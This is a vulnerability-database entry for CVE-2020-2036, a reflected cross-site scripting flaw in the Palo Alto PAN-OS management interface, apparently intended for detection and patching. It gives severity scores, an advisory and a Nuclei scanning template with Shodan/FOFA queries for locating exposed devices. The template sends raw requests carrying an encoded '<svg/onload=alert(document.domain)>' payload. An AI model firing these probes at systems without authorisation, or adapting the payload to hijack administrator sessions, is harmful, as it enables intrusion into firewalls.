6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.1 High
AI Score
Confidence
High
0.031 Low
EPSS
Percentile
91.1%
PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
id: CVE-2020-2036
info:
name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
author: madrobot,j4vaovo
severity: high
description: |
PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
reference:
- https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
- https://security.paloaltonetworks.com/CVE-2020-2036
- https://nvd.nist.gov/vuln/detail/CVE-2020-2036
- https://github.com/404notf0und/CVE-Flow
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-2036
cwe-id: CWE-79
epss-score: 0.03232
epss-percentile: 0.91222
cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: paloaltonetworks
product: pan-os
shodan-query:
- http.favicon.hash:"-631559155"
- cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
fofa-query: icon_hash="-631559155"
tags: cve2020,cve,vpn,xss,paloaltonetworks
http:
- raw:
- |
GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
condition: and
- type: dsl
dsl:
- "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
- "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
condition: or
# digest: 4a0a00473045022100f2320b488f61a13773b38fda53d091c777b37782fc59264dbb45fd855c903ef202201b341e73fb8e91ea9c92b8c31dd3c443c614508274b55523c156624663278320:922c64590222798bb761d5b6d8e72950
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.1 High
AI Score
Confidence
High
0.031 Low
EPSS
Percentile
91.1%